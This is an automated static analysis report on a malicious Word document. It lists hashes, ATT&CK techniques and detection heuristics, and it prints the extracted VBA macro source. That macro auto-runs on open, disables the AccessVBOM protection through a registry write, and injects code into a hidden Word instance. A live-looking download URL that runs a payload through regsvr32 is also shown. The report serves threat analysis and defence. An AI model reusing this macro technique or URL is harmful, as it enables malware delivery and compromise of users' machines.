Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a16230243eff1695…

MALICIOUS

Office (OOXML)

42.5 KB Created: 2021-06-07 10:56:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: 9e660aebda75d3900bac6624b8730878 SHA-1: 22764b1fede69bf2de0c4266d2826f99ae672c96 SHA-256: a16230243eff16952eb9f4d8c109e9df4dc2efeacbad5fe99a8bf99ec5a26abb
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen subroutine that executes a download function. This function retrieves a file from 'http://willhoused.com/adda/45054/0xQDUofe1Je/coc4?user=mOePkakDm7NoVMPXZI9F&Zm=j4olGAB4HhkEtmq2ByeI&id=DMDRgwsQAZgV4ghWFXc&ref=gBBscs&cC9eZqooNI=1lQ', saves it as 'c:\programdata\structRef.jpg', and then executes it using 'regsvr32'. The script also attempts to modify registry keys related to VBA object model access.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub argViewGeneric()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & optionVb & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub loadWindow(dataIndexCollection)
Set queryNamespace = CreateObject("word.application")
With queryNamespace.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "ExDocumentRight"
Sub autoopen()
argViewGeneric
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://willhoused.com/adda/45054/0xQDUofe1Je/coc4?user=mOePkakDm7NoVMPXZI9F&Zm=j4olGAB4HhkEtmq2ByeI&id=DMDRgwsQAZgV4ghWFXc&ref=gBBscs&cC9eZqooNI=1lQ In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1101 bytes
SHA-256: c064a591787375a1845d60d35b7b759c1566eb79ab4118d3148f9a0c99bc7362
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ExDocumentRight"
Sub autoopen()
argViewGeneric
dataIndexCollection = ActiveDocument.Range.Text
dataIndexCollection = Mid(dataIndexCollection, 2, Len(dataIndexCollection))
loadWindow dataIndexCollection
End Sub
Sub loadWindow(dataIndexCollection)
Set queryNamespace = CreateObject("word.application")
With queryNamespace.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString dataIndexCollection
End With
queryNamespace.Visible = False
queryNamespace.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function optionVb()
optionVb = Application.Version
End Function
Sub argViewGeneric()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & optionVb & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: edb33b856e47f8b9b9ff5e1a59d508af7e9ac55e0bb25160884d2a81522bbacc

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